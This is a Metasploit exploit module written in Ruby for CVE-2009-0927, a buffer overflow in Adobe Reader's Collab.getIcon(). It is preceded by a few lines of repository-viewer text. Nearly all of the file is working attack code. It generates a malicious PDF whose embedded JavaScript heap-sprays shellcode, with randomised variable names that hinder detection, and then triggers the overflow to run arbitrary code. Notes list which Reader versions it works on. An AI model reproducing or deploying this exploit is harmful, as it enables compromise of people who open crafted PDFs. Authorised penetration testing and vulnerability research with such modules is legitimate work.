125 lines
4.0 KiB
Ruby
125 lines
4.0 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core/exploit/pdf'
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require 'msf/core'
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require 'zlib'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::FILEFORMAT
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include Msf::Exploit::PDF
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Adobe Collab.getIcon() Buffer Overflow',
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'Description' => %q{
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This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat.
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Affected versions include < 7.1.1, < 8.1.3, and < 9.1. By creating a specially
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crafted pdf that a contains malformed Collab.getIcon() call, an attacker may
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be able to execute arbitrary code.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'MC',
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'Didier Stevens <didier.stevens[at]gmail.com>',
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'jduck'
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],
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'References' =>
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[
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[ 'CVE', '2009-0927' ],
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[ 'OSVDB', '53647' ],
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[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-014/' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'DisablePayloadHandler' => 'true',
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},
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# test results (on Windows XP SP3)
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# reader 7.0.5 - no trigger
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# reader 7.0.8 - no trigger
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# reader 7.0.9 - no trigger
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# reader 7.1.0 - no trigger
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# reader 7.1.1 - reported not vulnerable
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# reader 8.0.0 - works
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# reader 8.1.2 - works
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# reader 8.1.3 - reported not vulnerable
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# reader 9.0.0 - works
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# reader 9.1.0 - reported not vulnerable
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[ 'Adobe Reader Universal (JS Heap Spray)', { 'Ret' => '' } ],
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],
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'DisclosureDate' => 'Mar 24 2009',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
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], self.class)
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end
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def exploit
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# Encode the shellcode.
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shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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# Make some nops
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nops = Rex::Text.to_unescape(make_nops(4))
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# Randomize variables
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rand1 = rand_text_alpha(rand(100) + 1)
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rand2 = rand_text_alpha(rand(100) + 1)
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rand3 = rand_text_alpha(rand(100) + 1)
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rand4 = rand_text_alpha(rand(100) + 1)
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rand5 = rand_text_alpha(rand(100) + 1)
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rand6 = rand_text_alpha(rand(100) + 1)
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rand7 = rand_text_alpha(rand(100) + 1)
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rand8 = rand_text_alpha(rand(100) + 1)
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rand9 = rand_text_alpha(rand(100) + 1)
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rand10 = rand_text_alpha(rand(100) + 1)
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rand11 = rand_text_alpha(rand(100) + 1)
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rand12 = rand_text_alpha(rand(100) + 1)
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script = %Q|
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var #{rand1} = unescape("#{shellcode}");
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var #{rand2} ="";
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for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape("#{nops}");
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#{rand4} = #{rand2} + #{rand1};
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#{rand5} = unescape("#{nops}");
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#{rand6} = 20;
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#{rand7} = #{rand6}+#{rand4}.length
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while (#{rand5}.length<#{rand7}) #{rand5}+=#{rand5};
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#{rand8} = #{rand5}.substring(0, #{rand7});
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#{rand9} = #{rand5}.substring(0, #{rand5}.length-#{rand7});
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while(#{rand9}.length+#{rand7} < 0x40000) #{rand9} = #{rand9}+#{rand9}+#{rand8};
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#{rand10} = new Array();
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for (#{rand11}=0;#{rand11}<1450;#{rand11}++) #{rand10}[#{rand11}] = #{rand9} + #{rand4};
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var #{rand12} = unescape("%0a");
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while(#{rand12}.length < 0x4000) #{rand12}+=#{rand12};
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#{rand12} = "N."+#{rand12};
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Collab.getIcon(#{rand12});
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# Create the pdf
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#pdf = make_pdf(script)
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pdf = CreatePDF(script)
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print_status("Creating '#{datastore['FILENAME']}' file...")
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file_create(pdf)
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end
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end
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